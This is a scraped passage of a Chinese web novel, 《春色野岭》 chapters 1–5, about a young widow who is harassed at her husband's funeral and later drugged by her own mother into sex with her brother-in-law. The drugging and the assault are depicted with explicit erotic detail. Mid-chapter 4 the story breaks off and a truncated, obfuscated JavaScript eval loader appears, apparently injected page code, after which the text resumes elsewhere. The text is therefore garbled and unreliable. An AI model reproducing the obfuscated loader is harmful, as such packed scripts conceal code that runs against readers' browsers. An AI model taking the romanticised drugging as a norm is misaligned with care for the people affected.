《春色野岭》 1. 第 1 章 第1章 九月金秋,礼部贡院门前涌上来考完秋闱的考生,个个伸长鹅颈翘首以盼,等待放榜。 “这次秋闱解元不出意外应是周贯聿,上次童试他就考了第一,秀才中的廪生,最有可能就是他了。” “我看也是周兄,天资聪颖,夫子总是夸他。” “你们错了,绝不可能是周贯聿。” 一声突兀的否定引得他人纷纷看过来,“这话怎说?” “你们不知道么?周贯聿在秋闱第二场考试中突发心疾,一命呜呼!” 此话一出,不知情的人惊愕得说不出话。 那人又说:“因为此事罕见,主考官怕影响其他考生,只联系了周贯聿的家属过来处理后事,这事没几个人知道。” “等等,周兄三个月前不是刚娶了心上人卫瑜然么?” 突然有人想起周兄那羡煞旁人的婚事,娶的不仅是心上人,还是锦州第一美人卫瑜然,两人郎才女貌,一对璧人,谁能想到新婚三个月,周兄突然离世,那卫瑜然岂不是成了最年轻的寡妇? 人群里一名高瘦青年听到这些事,全然一副漠不关心高高在上的姿态,似乎和这些人议论这种晦气的事会瘟到他身上,在旁继续等待放榜。 没一会,贡院揭榜,第一名解元果然不是周贯聿,而是考生郝才捷。 高瘦青年意满志得地拢了拢袖口,回头高傲地扫了一眼这些人,在恭贺声中大步离去。 - 秋闱成绩一出,三街六巷全都在议论解元花落谁家,消息灵通的富商早已派人前去郝家恭喜贺喜,好拉拢这位解元郎。 揭榜之后,郝才捷第一时间不是回家,而是前往周家奔丧。 一路上恭贺声不断,和街上的热闹不同,此时的周家却挂起一片白绫,家丁丫鬟也就三两个,外加一个打理上下的管家,偌大的宅邸空荡得有些萧条。 周老爷周詹光生前是都督府正八品长史,平日里也就是协助州长管理各类事务,不爱纳妾,一生只有周夫人,后来夫妻两寿终正寝,周家就只剩下两个儿子,大哥常年在外,剩下二弟周贯聿守着家攻读诗书,更显得人丁单薄了。 幸好这种情况在周贯聿今年娶妻之后有所改善,家里总算添了个人口。 来奔丧的亲戚朋友出入其中,大概这是除了周贯聿成亲那天,家里来人最多的一次。 周贯聿弱冠之年就已相貌堂堂,在一众书生当中尤其出类拔萃。虽说家中年纪最小,但周长史夫妇管教有方,周贯聿没有像其他公子哥那样沾上吃喝嫖赌的陋习,周长史送其到静山书院读书后,才发觉这孩子在读书上较有天赋,出口成章。 童试上更是取得第一名,当时在锦州还引起不小轰动,因周长史夫妇已去世,不少亲戚长辈过来嘘寒问暖,争着做周贯聿的至亲长辈,盼望着他有朝一日能在仕途上为官。 但谁都没想到周贯聿会在秋闱上突发恶疾,生命就这么戛然而止。来吊唁的亲戚无不唏嘘感慨。 郝才捷来到周家已经傍晚。 二婶娘柳红携一儿一女过来吊唁,正准备回去,刚出大门就看到郝才捷,一打听才知道秋闱解元正是他,当即殷勤牵着儿女上前说上两句话,好沾沾解元郎的才气运气。 郝才捷面上保持笑意,看着这些人阿谀谄媚的嘴脸,内心鄙薄不已,拢拢袖口,以免碰到这些低等之人。 管家李庆平也是才听闻秋闱解元郎是二少爷的同窗,心里复杂万分,如果二少爷没有遇到这种事,这解元怕是十有八九是他们周家的,也是可惜了。 上前寒暄恭喜几句,便带他前去灵堂。 到了灵堂,郝才捷抬眼便看到堂内跪坐着一抹单薄倩影,眼神一顿。 世人只知道锦州第一美人卫瑜然和周贯聿是才子佳人,金玉良缘,却不知书生郝才捷曾经衷情被拒绝,满腔爱意被人尽数踩在地上,如烂泥碾烂。 郝才捷接过管家递过来的香,对着棺材焚香祭奠。管家退下。 “周兄,明明我们同时踏入考场,却不能同时离开,命运弄人,发生这样的事,我实在心痛……” 郝才捷看起来颇为难过,“……不过,这解元我替你拿下了,周兄也不用太遗憾。” 最后一句听得卫瑜然柳眉微蹙,内心不适,转念想到这是在夫君灵堂上,而郝才捷又是夫君同窗,说这话也算得过去。她只好当是想多了。 郝才捷作态鞠了一躬,扫了眼四周,只见剩下她和卫瑜然,兀地一笑,迈步朝卫瑜然走去。 卫瑜然天生一副美人胚子,尽管此时一身素净孝服在身,仍然遮挡不住的惊心动魄。 郝才捷将面前娇美寡妇收入眼底,不由得想起当初被她无情拒绝的一幕。 静山书院的夫子曾夸他学业之精湛,先生之骄傲,天资聪颖仅次于周贯聿,虽说童试周贯聿是廪生,他是秀才,但他顶多只比周贯聿稍逊色罢了。更何况后面还有秋闱春闱和殿试。 考学为官这座高楼,他们才只是在童试中取得了入门资格罢了,算不上谁更好,郝才捷坚信他日后必定连中三元,光耀门楣。 他自认为和周贯聿相比,他实力并不输对方半分,但他万万没想到自己放在心上的卫瑜然竟然看不上他,反而和周贯聿好上,嫁给他人作人妇。 周贯聿到底有什么好?! 郝才捷想破脑袋都想不明白,论家世,周贯聿祖上充其量不过是一个都督府八品长史,而周贯聿此前也不过是童试中考了第一名 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当初她只不过没有接受他的感情,不曾想这个人竟记恨到现在。 卫瑜然素净温婉的面容此刻满是愤怒,气得发抖,尤其看到灵堂内还停放着周贯聿的遗体,满腔委屈汹涌涌上心头,鼻尖一酸。 郝才捷被扇了一巴掌,面上挂不住,戾气一闪而过,大步逼近卫瑜然。 “许你妾位已是我郝才捷开恩,卫瑜然你只不过是个寡妇,要不是我还念着对你的感情,凭你现在一副残花败柳的身体怕是连我郝家的门都进不去!” 郝才捷一步一步将人逼至角落,卫瑜然本就苍白的脸色闪过慌乱。 “这是周长史府!” 郝才捷有些犹豫,但立马想到他此时已经是解元,有的是想巴结他的人!更何况孤男寡女共处一室,世人是信他一个解元会在同窗灵堂面前调戏寡妇,还是信一个无依无靠的寡妇会不会趁着亡夫死去,另寻姘头? 即使无法折辱这个寡妇,在周贯聿面前调戏两下也算是解了他心头之恨。 郝才捷似笑非笑,抬手欲碰上卫瑜然肩头。 而就在这时,灵堂骤然响起一道长鸣嘶吼的鹰唳,划破空气,往郝才捷的手臂俯冲下去。 瘦猴似的手臂被猛禽两爪深深扎进肉里,郝才捷吃痛惊叫一声,转头便被眼前的黑影吓到大惊失色,一屁股跌倒地上。 直到一道口哨吹起,悍鹰松爪,扑腾两下黑翅,降落到男人结实的手腕上。 卫瑜然被这阵仗吓呆,直到一道黑影如同一座黑沉蛰伏的野岭笼罩在她身上,她赫然抬眸—— “大哥?” 2. 第 2 章 三个月前,卫瑜然和周贯聿喜结良缘,因家中无长辈,主持婚事的还是大哥周枭。 周枭比周贯聿大五岁,二十岁便离家跟随一支军队入伍,后来就再无音讯,直到弟弟成亲,周枭才回来替弟弟操办这次婚事。 这次周贯聿突发恶疾,事出突然,只差人快马加鞭告知千里外军营中的大哥。 卫瑜然看到气势迫人的大哥站在自己面前,一时忘了害怕,险些哭出声来,快步绕到他身后,寻求庇护。 周枭对卫瑜然的印象还停留在一个娇滴滴弱柳扶风的小姑娘上,那时候弟弟意气风发,收起墨扇,一手牵着小姑娘的手到他跟前说:“大哥,这是卫娘。” “卫娘见过大哥。” 清脆温软的嗓音很像野岭里的黄鹂,嘀嘀啾啾,好听得很。跟在弟弟身边,确实郎才女貌。 周枭自二十岁入伍从军,嗜血战场,屡立战功,先后晋升承信郎、保义郎、秉义郎、修武郎,二十五岁任扬州留守司的统制,正五品,单独管辖上万兵马。 前日辰时,周枭在军营中操练新兵,收到家中传来的报丧文书,第一时间翻身驾马擎苍,夜踏流星往家中赶。 没想到这次回来物是人非,刚下马,就看到弟媳竟被人欺负到家门口。 简直不把他周家放在眼里。 周枭脸色一沉,上前大手像提鹌鹑一样一把提起郝才捷。 郝才捷被这将近九尺的高壮男人吓得脸色煞白,对方肩头上站着只悍鹰,锐利眼神和主人如出一辙,看死人似的。 郝才捷险些吓破胆,白布袍下顿时传来一片尿骚味,嘴上连连求饶,甚至搬出他是解元的身份。 周枭的右拳在军营中素来有铁拳之称,一击便能将人胸骨震碎,鲜少有人敢与他切磋比武,但这次他只出了三层功力,这位秋闱的解元便口吐鲜血,奄奄一息。 正当周枭上前揪起这个人时,小姑娘的手却兀地扯了扯他赤金披肩,周枭回头,就看到小姑娘朝自己摇了摇头。 “大哥。” 秋闱考场上考出来的第一名,若是在周家出了事,他们难辞其咎。 周枭扫了一眼卫瑜然,将郝才捷扔到地上。 管家连忙将人送去医馆治疗,灵堂才恢复安宁。 周枭站在中央,静看弟弟遗体良久,原本怒发冲冠的男人在这一刻陷入沉默。 卫瑜然递来三根点燃的香,什么也没说。周枭睨眼,将小姑娘憔悴苍白的身躯收入眼底,弟弟的离去对弟媳的打击怕是最大,算来他们才新婚三个月…… 亲朋好友吊唁完,还需停灵一晚,以慰亡魂,出殡队伍要明早卯时过来。 周枭让人安置他的悍鹰,转身处理了一些家中要事,飧食过后,下起了大雨。 廊外的荷花池塘只剩下残荷,在雨幕中遭受摧折。天色渐晚,到处挂白绫的周家此刻更显萧瑟,唯有灵堂点上了几盏油灯。 周枭从书房走出,穿过走廊,来到灵堂准备守灵,却没想到早有人比他先一步过来。 不过……周枭顿了顿,也许弟媳从始至终就没离开过灵堂。 周枭站在门口,静望里面的人影,彼时窗外风萧雨飘,斜斜打过窗棂,为棺椁旁跪着的单薄身影增添了几分孤寂与悲戚。 孝衣白袖下一双纤手缓缓地烧着纸钱,泼墨浓发自雪颈斜落,神情无声悲戚,火光跳动的刹那隐约窥见脱线泪珠。 奇怪的是,从始至终未闻半声啜泣,那姑娘安静得如同骤雨里一朵濒将玉碎香残的芙蕖。 丫鬟绿樱从走廊拐角走来,手上拿着件御寒披肩,一看就知是取来给卫瑜然。 绿樱瞥见周枭,正要行礼,周枭一个眼神制止了她,绿樱点点头,默不作声从他面前经过,往卫瑜然走去。 周枭稍微侧过身,临走前多看了眼,确认身上披上了披肩,方才转身离去。 - 夜雨淅沥,随后渐渐隐没在熹微晨光中。 卯时,出殡队伍赶来,大殓过后将周贯聿遗体安置在棺椁中,随后锣鼓声响,卫瑜然就这样跟在队伍身后,一路送夫君离去。 到了墓地,丧葬领队招呼人手处理挖掘,以往这些伙计喜欢一边挖一边闲聊爱嚼点舌根,议论主人家的私事。但这次,概因周统制的存在,只一个眼神便压得人不敢直视,更无人敢唏嘘乱嚼舌根。 昨天解元郎被周统制教训一事,领队略有耳闻,但具体事因无人得知,不少人猜测是不是解元郎得罪了周统制。 因着昨晚下雨的缘故,林间雾深露重,领队抬头望向对面两人,一个高大魁梧,将领之姿如林中苍劲挺拔的松树,远远便能感受到肃杀之气,清贵与威仪自周身流露出来。一个纤细柔弱,刚刚经历了丧夫之痛,弱柳扶风般,仿佛一阵风吹来就能摧折于山林之间,随亡夫而去。 两人并排站在一起,远处雾蒙凄切,只天际有微光冒现,一左一右皆伤怀哀悼,然,两人衣袂相触间却莫名笼罩一股牵引拉扯之力。 下了葬,又作了祭祀仪式,周家的旁族宗亲很少,但基本上都来了,哭丧完后,周家小儿子的葬礼就这么结束。 众人散去,夫君离去的伤痛,似乎现在才翻涌出来。 卫瑜然随着大哥回到周府,刚迈过朱门,晕眩夹杂一股深切到难忍的悲痛,自天灵盖劈头盖脸袭来,没等丫鬟反应过来,就已晕厥过去。 只是晕厥过去那一刻,身体似乎被什么结实的东西搂住,野岭幽深肃穆般的气息笼罩下来。 “二少奶奶!”丫鬟绿樱在喊。 “她房间在哪?”五年不回家,弟媳的房间,他确实不清楚。 周枭将人拦腰抱起,抱起那刻,这姑娘竟连一个沙袋的重量都没有,男人蹙眉。 绿樱赶忙在前带路,忽然间想起:“二少奶奶从昨天到现在不曾吃过东西!” 周枭脚步一顿,“吩咐厨房做些弟媳爱吃的。” 绿樱慌忙点头,路上忙不迭让白梅去厨房准备些吃食。 - 绿樱一路带去卫瑜然住的凝香阁,管家喊来的大夫不久到了,把了脉后,断言这段时间过于操劳,血气亏空厉害,加之伤神才导致晕厥,需要多加休息,否则命不久矣。 这话一出,绿樱便着急起来,“肯定是因为二少奶奶这段时间为二少爷的事伤心过度!” 秋闱第二场考试那天,二少奶奶天刚亮就带着人去庙里祈福上香,虔诚求魁星老爷保佑二少爷一定要考中解元。 当时她还打趣说:“二少奶奶怎么不祈福二少爷连中三元?来都来了,何不许个大愿望?” “绿樱,你说得对,我应该求魁星老爷让我们家阿聿连中三元,成为大晋朝最年轻的状元郎。” 谁知道,刚从庙里回来,就看到秋闱的主考官派人过来报丧,说是二少爷在考场中突发恶疾,御医看过也无力回天 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周枭不免想起那个中了解元的书生,竟上门羞辱二弟和弟媳,戾气一闪而过,不过被他很好压下,沉声吩咐道:“回头你好些安慰她,多陪陪她,有事和我汇报。” 绿樱应声。 - 晌午,卫瑜然还未醒来。 周枭饭后招来绿樱,问她卫瑜然现在如何,绿樱说二少奶奶吃过一些粥食,身体好了些,但仍然一蹶不振。 这个情况持续了三日,周枭卯时有锻炼舞枪的习惯,吃完早饭后,绕去鹰房喂养那只悍鹰。 悍鹰小名又叫瞎鹰,周枭当年在林子里夜守时,打了只野兔子,刚处理完毛发内脏,这只盘旋在夜空中的鹰眼睛尖得很,一个俯冲下来就想抢人东西。 可惜在利爪抓住野兔那刻,周枭往下猛拽,悍鹰还没扑腾起来就已经被人现场擒拿,已经有了一只兔子作为食物,周枭网开一面放了它。 万万没想到,这样的戏码第二天又重现,周枭气笑了,跟土匪似的,只想抢人食物,哪只飞鹰落魄成它这样,后来周枭才发现这悍鹰原来是有一只眼瞎了,捕捉动物的能力大大下降,只能盯着行动缓慢的人类手中之物。 周枭哭笑不得,干脆将它收编,养在麾下。 瞎鹰吃得多,平日里都要吃下一整只生兔肉,想到这几天没怎么理过瞎鹰,周枭便把它带出来溜溜。 简单的一些指令,瞎鹰完成得很好,周枭刚要发出下一个指令,这时天空中盘旋的瞎鹰不知看到了什么,毫无预兆往一个方向俯冲下去。 周枭顺着残影望去,那个方向似乎是凝香阁。 待周枭踏入凝香阁,只听闻振翅扑腾之声,循声过去,便看到瞎鹰站在卫瑜然闺房木窗上,正和一条翠绿竹叶青蛇展开搏斗。 竹叶青蛇约莫一尺长,个头如手指细小,瞎鹰很快就制服了对方,邀功似的叼在周枭面前。 周枭颇为嫌弃,让它自己自行解决,视线越过瞎鹰,落到床榻之上的女子身上。 入了秋,明明应该添衣加被的季节,然而床榻上的女子却睡得不安稳,额间冒出层层香汗,锦被滑落,素雅的寝衣薄薄一层贴着肌肤,露出属于女子的线条。 许是做了噩梦,酥/胸呼吸间轻轻起伏,仿佛有一只纤手轻抚过男人喉结,白腻腻的肌肤雪里透粉,如重锤般一下又一下敲在鼓膜上。 3. 第 3 章 卫瑜然睡得并不安稳,脑海里都是夫君曾经和自己伉俪情深的画面,然而每到亲密,总是转眼变成冷冰冰的尸体。 如此几次后,她从噩梦中惊醒,醒来发现身上已经被汗水浸湿全身,黏腻又难受。 人还是有些昏沉,卫瑜然只好叫来绿樱准备洗沐的热水。 巳时一刻,卫瑜然自床榻下来,行至窗台前透透气,蓦地,眼角余光瞥到窗棂上有几滴鲜血,她疑惑,探身往下外看,窗台外面有几个不明显的脚印。 还是男子的脚印,卫瑜然思绪有些混乱,第一时间以为是外面的宵小进了家,但随即便否定了,家里有大哥在,怎么会让宵小进来。 可这几个脚印……卫瑜然又实在想不明白,心头一转,打算等下问问大哥。 绿樱过来:“二少奶奶,热水已经好了。” 卫瑜然嗯了一声,动身前去洗沐。 临近晌午,卫瑜然换了一身轻便的素衣,恰好到了午食,丫鬟在台上布好饭菜,卫瑜然过去时,主座上已经坐了人。 “大哥。”她朝他微微作揖。 周枭颔首,示意她不必多礼,待人落座后,坐于他对面,周枭下意识察觉到她换下了寝衣,甚至沐浴更衣过了。 这段时间因为周贯聿一事,弟媳常常夜不能寐,绿樱便在家中多处点了安神的檀香。而现在,房间里沾染上的檀香消失,取而代之的是皂角才有的茉莉花香,若有若无混合在饭香当中。 卫瑜然看到对面坐着的严肃男人,后知后觉想起大哥如今是统制将军,这次也是因为阿聿的事才匆忙赶回来,不知有没有耽误大哥的事。 想来,阿聿下葬后也过了三天,这三天里她因身体抱恙一直休息,而大哥既没有回军营,也没有别的计划,只是让自己多加休息…… 卫瑜然顿了顿,忽然冒出一个猜测,大哥是不是在考虑怎么安置她这个寡妇?毕竟他若是回军中,这偌大的周家就只剩下她一个人…… 思至此,她欲言又止,周枭发觉她迟迟不动筷,便问:“没胃口?” 卫瑜然轻轻摇头,试探性问道:“大哥,这几日辛苦你为阿聿的事奔波,弟媳感激不尽,不知有没有耽误大哥军中之事?” 周枭无甚在意:“这事你不必放心上,阿聿是我胞弟,这是我分内之事,至于军中一些杂事,我已托胡天帮我处理。” 胡天是他下属。 卫瑜然错愕,紧接着便后悔问了这句,古往今来,男女大防是一回事,家中只有寡妇当家更是门前是非多,而大哥选择留在家里是不是考虑到是非问题,担心影响周家的声誉…… 她猛然发觉如今的境地,退也不是留也不是。 卫瑜然一下子沉默下来。 - 晌午一过,卫瑜然打算回房里休息,这时绿樱急忙来报,说她娘亲过来看她。 卫瑜然喜出望外,连忙出门迎接,一出门就看到一个与她有六七分相似的妇人站在朱门前。 卫瑜然捏着手帕匆匆赶来,看到来人,无声凝噎。 “娘,你来了。” 朱琇云看到她如此憔悴,心疼坏了,“阿然,娘接到报丧文书,已经尽力赶过来了,但还是迟了一步。” 朱琇云年轻时被酒鬼父亲卖给镇州秀坊卫家当小妾,因为出身不好,自进门就是伏低做小的,不仅要看大娘子脸色,还要看旁人脸色。卫瑜然出生后也是从小过着这种生活,好在朱琇云对她还算疼爱,有什么好处都念着给女儿,给她争一争,有什么风雨也都是挡在女儿面前。 当初卫瑜然被郝才捷纠缠时,朱琇云第一时间并不是指责她不自爱,而是教她拒绝,全心全意支持她和周贯聿在一起。 甚至成亲时,朱琇云尽了毕生的能力让卫家家主给女儿风光出嫁,原本她们母女俩都快要过上好日子了,没曾想竟然发生这样的事。 被大娘子嘲笑的苦楚,朱琇云倒是不觉得有什么,这么多年来,也不差这一次两次的嘲讽了。反而一路上为女儿叹了不知多少气,先前想着周家不是什么世家大族,也不是什么皇亲国戚,周贯聿他爹娘又早逝,剩下一个大哥早年出去从军,偌大一个周家不像卫家那样到处勾心斗角弯弯绕绕。 而且周贯聿这人样貌好脾气好,书读得好,还是个廪生,有望考取功名,卫瑜然嫁过去是当正妻的,不用像她娘一样这辈子都看人脸色,将来指不定还能当个一品诰命夫人。 “娘亲快进来。”卫瑜然满腔愁绪堵在喉咙,紧紧牵上娘亲的手将她往凝香阁带,一边吩咐丫鬟。 “绿樱你去沏壶径山茶,另外再准备些桂花糍糕。” “好的,二少奶奶。” 不一会儿,径山茶和桂花糍糕等都端了上来。 以前在卫家的时候,大娘子管着整个家,娘亲吃不上这么好的茶和糕点,只能在节假日偶尔吃上一回。卫瑜然知道径山茶和桂花糍糕是娘亲最爱吃的,但是朱琇云哪还有吃得下的胃口,看着女儿强撑开心的面容,一再叹气。 “阿然,事情到了这个地步,你有什么打算?” 卫瑜然低下头,隐约猜得到娘亲在说什么,但她对未来的打算十分迷茫。 原本以为她能和夫君携手度过一生,可万万没想到周贯聿会突发恶疾,什么也没留给她。如今夫君下葬了,除了难过外,她作为一个女人,多少得考虑自己以后的路了。 可寡妇能有什么出路?不用她想,都能猜得到未来的路有多难走。 桐巷有个寡妇也是年纪轻轻死了丈夫,可人们对她的评价却总是充满恶意和□□,诽谤她和几个男人睡过,污蔑她浪荡不检点,甚至连做点小生意都会遭到骚扰。 当初她同情寡妇的遭遇,没想到如今她也变成了寡妇。 “娘亲,我真的不知道该怎么办……” 朱琇云安抚性拍了拍她的手,问她:“大哥对你态度如何?” 卫瑜然不明白娘亲为何提到大哥,但还是顺着她的话细细回想这几天的 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下葬过去三天,流言已经发展到调侃卫瑜然这个寡妇最近死了丈夫,曾经的老相好又刚中了秋闱解元,心思难耐想上门找她这个寡妇重修旧好,又夸寡妇命真好,死了个廪生丈夫,又有解元郎情根深种,正当两人打算暗度陈仓时,不料被大哥发现,怒发冲冠将解元郎重伤,而寡妇被大哥撞破奸情,躲在家里无脸见人。 这些话每说出一句,卫瑜然脸色便苍白一分,气得颤抖,却又感到深切的无力,委屈难受,一双杏眼不争气红起来,无助地解释:“娘,根本不是那样的……” 朱琇云自然相信女儿,安慰她:“万幸的是眼下看来声量并不大,但假以时日,这脏水只会越来越大,还躲不了。” 这才是她这个当娘最忧心的地方。 “这种事没法澄清,众口难敌,时间一久,你会听到更难听的流言蜚语,到时候周家人怎么看你?你还怎么在周家自持?” “难道我只能以死明志了吗?”卫瑜然潸然落泪,可她才十八岁…… 朱琇云觑了女儿一眼,颇为冷静告诉她:“为娘给你想了两条路。” 卫瑜然含泪抬眸,面带希冀看着娘亲。 “要么改嫁他人,让周家当你半个娘家,送你出嫁。” 朱琇云想了想,周家毕竟是个官,要脸面,这种流言一旦多起来,势必会连累周家的声誉,届时周家旁族宗亲肯定会对女儿不满,要求她嫁出去,或另立门户,更糟糕一点让她女儿浸猪笼也不是没可能! 若是这样的结局,她还不如趁流言尚未流传开之前让女儿改嫁,起码周家的人会看在份上给女儿一笔遗产。 但朱琇云对这条路并不是很看好,寡妇再嫁,虽说比浸猪笼扫地出门好上一些,但谁能保证她女儿再嫁之后,在新家会遇到什么? 卫瑜然难以接受再嫁,“娘,阿聿才刚走,还没半个月,我怎么能……” “外面的人可不会放过编排任何一个寡妇!” 朱琇云的话像根刺一样扎进卫瑜然心里,让她哑口无言。 卫瑜然有些心如死灰,“那另一条路呢?” “要么嫁给周统制,也就是你夫君他大哥。” 4. 第4章 朱琇云切身实地为女儿考虑方方面面,周枭如今是正五品统制将军,直接从属皇帝,手下掌管万人军队。重要的是周枭现在没有娶妻纳妾。卫瑜然若是跟了他,以后倒也不怕被欺负。 若是怀了周家的孩子,周家就更没有理由把人赶出去,也不失为一条体面的活路。 只是卫瑜然听完后只觉得荒缪,吓得站起来,“娘!你在说什么?那是阿聿他兄长。” 朱琇云似乎早料到她会有这样的反应,“正因为他是你亡夫兄长,他才能护你。” 卫瑜然不敢置信看着眼前的妇人,虽说她能理解娘的用心良苦,但情感和道德不允许她这么做。 这跟背叛阿聿有什么区别? “这是不可能的,娘你不要劝我了。”卫瑜然浑身抗拒,“我即便是守寡也不会这样做。” 朱琇云张了张口,知道她一时半会无法接受,转而缓和语气,尝了一块桂花糍糕。 “这桂花糍糕挺好吃的,娘好久没吃过了。” 卫瑜然看着朱琇云熟悉的面容,慢慢地品尝桂花糍糕,什么话也没说,这一幕她上次见还是成亲前,她和周贯聿回卫家见长辈的宴席上。 因为身份是小妾,上不得台面,所以哪怕朱琇云是卫瑜然生母,也没法上桌参与商议女儿的大事,她只能在自己房间里安静地等。 等大娘子和爹讨论完他们的婚姻大事后,卫瑜然才借口离桌去找朱琇云重温母女情,那时候朱琇云也是这样吃着她端过来的桂花糍糕,笑着说好吃。 就连成亲时,娘家这边出席的也没有朱琇云,而是爹和大娘子。 喉咙无端哽咽,卫瑜然慢慢坐下来,单手撑着下颌,柔柔望着娘亲,“好吃娘多吃点。” - 傍晚,周枭从外面回来,从管家嘴里得知弟媳的生母上门,不出意料应该是为安慰弟媳而来。 于是转头吩咐飧食多做两道菜。 这话恰好被绿樱听了去,给凝香阁添茶水时顺口就说了出来。 说者无心听者有意,朱琇云意味深长扫了一眼女儿:“周统制有心了。” 到了用膳之时,朱琇云还被喊去一起用膳。 卫瑜然感到诧异,在大户人家家里,小妾都是不允许上桌吃饭的,稍微讲究些的,甚至连小妾的孩子也不允许上桌吃饭,而周统制却喊了她娘。 不过卫瑜然归因为周大哥应该是看在弟弟的份上,才对自己和娘亲多有照看。 母女俩落了座,朱琇云第一眼便被周枭硬朗魁梧的身材吓到,足足多两个卫瑜然有余,模样比周贯聿还周正,若说周贯聿是玉树临风,那周枭便是玉质金相,虽说那一身肃杀凌厉的武将气质更甚,但这个人毕竟是官宦出身,始终有一股清贵作为底色。 朱琇云越看越满意,主动和周枭寒暄了几句,“这次女婿的丧事,多亏周统制帮忙,不然瑜然一个人如何操心得过来。” 周枭让她不必这么说,都是一家人,大哥帮弟媳,这都是分内事,倒是又看了一眼旁边安安静静的卫瑜然,对方梳起了流苏髻,身穿青缎掐花对襟,对襟中央裹以红色抹胸,越发衬得肌肤白皙赛雪。 刹那间,脑海里掠过于晨早窗台前不经意间窥见的春色。 卫瑜然察觉有道视线落在自己身上,不由得望过去,却又什么都没看到。 - 如此过了两日,街上的流言蜚语渐甚,朱琇云的心情越发凝重。 她还能待在周家的时日不多,迟早得回去,届时卫瑜然就只剩下自己一个人。 谣言如猛虎,没有几个女人能抵挡。 这几日卫瑜然的情绪有了些许好转,朱琇云打算去庙里给女儿祈福,因着女儿正是从庙里回来得知周贯聿去世噩耗,说什么都不肯去。朱琇云便和绿樱前去。 从方丈那求来了一个平安符,朱琇云给女儿祈福后半辈子顺顺当当,平安喜乐。 回来路上经过一酒肆,朱琇云看到周统制在二楼凭窗喝酒,端起酒碗壮气豪迈一饮而尽,身边几个持刀侍卫肃穆威严而立,周遭没几个食客敢靠近。 两名舞姬欲靠近,却被下属持刀拦住,气氛微妙,一名与周统制喝酒的官员笑着打圆场,说:“瞧我这脑袋,竟忘了统制将军从不食女色,你们都下去,再让掌柜的上两坦黄酒!” 舞姬退下,掌柜的出来连声附和。 朱琇云若有所思,回到周家给女儿戴上平安符,语重心长告诉她以后的日子要自己走了,希望她多多保重。 “娘,你今日就要走了吗?”卫瑜然满是不舍,这是自从夫君去世后,难得的她可以放松神经的日子。 朱琇云点头,“这周家毕竟不是自家,娘留在这太久会惹来闲话,过了午食娘就得回去了。” 卫瑜然眼神黯下去,“娘你也要保重。” 朱琇云继而问她:“可还是不考虑周统制?” 卫瑜然觉得娘即将回镇州,应当是快放弃这个想法了,摇头道:“娘,这种事情别再说了,我不会答应的。” 朱琇云没说什么,卫瑜然帮忙收拾了行囊,到了午食,从管家嘴里得知周大哥和人喝多了,一刻钟前回了房休息,让她们不必等他。 过了午食,马车已经备好,临近送别,朱琇云却不慌不忙给女儿煮了碗茶汤,让她喝下去。 卫瑜然心里头念着的却都是娘亲即将离去,满是不舍。 “快趁热喝。” 卫瑜然轻嗯一声,毫无防备喝下去,然而喝下去后没多久便感觉到头晕,朱琇云扶着她到桌边坐下。 “瑜然,娘也是为你好,娘护不了你。”朱琇云呢喃,随后把心一横,转头吩咐当初陪嫁过来的绿樱,“扶她到周统制房里。” 绿樱险些将托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青雾一般的嗓音钻入耳里,带着猫儿似的柔弱和娇媚,吐息如兰地祈求着他的帮忙。 周枭浑身一震,隐约记得这个声音有些熟悉,漆黑瞳色随着目光从上到下打量而渐渐变得幽深,手背上的青筋因忍耐而瞬间暴起。 “夫君……”卫瑜然眼尾洇红,不知是不是害怕眼前的人转眼间变成冷冰冰的尸体,她的神态始终缀着一抹春日荼蘼般的凄艳,娇怜中带着一股悲伤。 许是噩梦做多了,她此刻迫不及待捧着男人的脸,却发现是实质的,有温度的,她忽的意识到什么,痴痴笑开。 吻了吻男人,纤手紧紧拥进男人青筋快要暴起的脖子,与之亲昵交颈相拥。 “妾身好想你……” 随着这一声落下,男人心头铮的一声,似有什么断裂,在酒意和欲望的挟持下,那点怀疑和清醒被湮灭,当是一场梦般将身上的女人压至身下,扯下裤头。 侵占,沾染。 从床榻到雕花圆桌……无不凌乱,无不荒唐。 5. 第 5 章 周府外,一辆马车被人掀开帘幕,朱琇云颇为感激地对几个带刀侍卫表达感谢。 感谢他们出手相助,将她的荷包从宵小手中夺回。 “各位官爷,时候不早了,奴家就先上路了。” 其中一位带刀侍卫颔首:“客气了夫人。” 朱琇云缓缓放下帘幕,车夫俄而驱车离开。 傍晚的日头落下,几名带刀侍卫返回周府,在周统制的院落门前停下,忽然听到几声细微的娇娥吟喘。 其中一名侍卫感到奇怪,仔细听似乎又没有,无果,随后便站回原位继续站岗。 活春散的药效只有两个时辰,卫瑜然神智清醒过来时,她正堪堪坐于雕花圆桌边缘,一双白玉正环住男人精壮腰身,双手搂着男人的脖颈。 一上一下的颠簸结合,让她脸上的绯红如数褪去,僵硬地松开环住男人脖颈的手,也才这一刻得以看清男人的面目。 不是夫君,是夫君的兄长! 脸色霎那间变得惨白—— 顷刻间大脑宕机,甚至好一会反应不过来她应该要做什么。 直到再一次深深进入,卫瑜然这才羞愤将人推开,然而她的力气在男人眼里就犹如挠痒,不痛不痒,卫瑜然几乎气结,浑身发颤,使出了劲狠狠掌掴了男人一巴掌。 男人停下,似乎也清醒了。 卫瑜然将他推开,足尖刚踩到地板,不知怎的一下子跌坐下来,身体上的无数反应都在告诉她——她和夫君的兄长做了那种事。 卫瑜然双手撑在地上,眼眶红了,盈盈眼泪如断了线的珠子接连不断坠落,错懵失神的神情无端惹人怜爱。 怎么会这样…… 卫瑜然满脑子都是刚才的画面,有多离经叛道有多罔顾人伦,她就有多绝望。 她痛苦地闭上眼眸,恨不得这是一场梦。 而周枭被这一巴掌扇醒,酒醒了五六分,环顾四周这一片狼藉,似乎每个角落都隐约有他和弟媳交合的踪迹。 抬手揉了揉泛痛的太阳穴,回忆起的片段越发多,弟媳的娇口耑,一遍又一遍的夫君唤声叫得人筋骨酥麻,入魂欲仙。 但周枭也没忘他们之间的身份,他弟弟刚死,弟媳没两天就到他屋里竟做了这种事,还是趁着自己喝醉了酒蓄意勾引兄长! 简直一荡/妇! 周枭穿上衣服,却看到卫瑜然一副哭哭啼啼受了委屈的模样,顿时怒不可遏。 跑来他屋里头的人是她,做了这种违背人伦红杏出墙的人也是她!如今竟然摆出一副受害的姿态,真当他周枭色欲昏心,连死去的胞弟都不顾么?! “卫氏,你休在这装贞洁烈妇!” 卫瑜然猛然抬起头来,泪眼婆娑摇头:“妾身没有!” 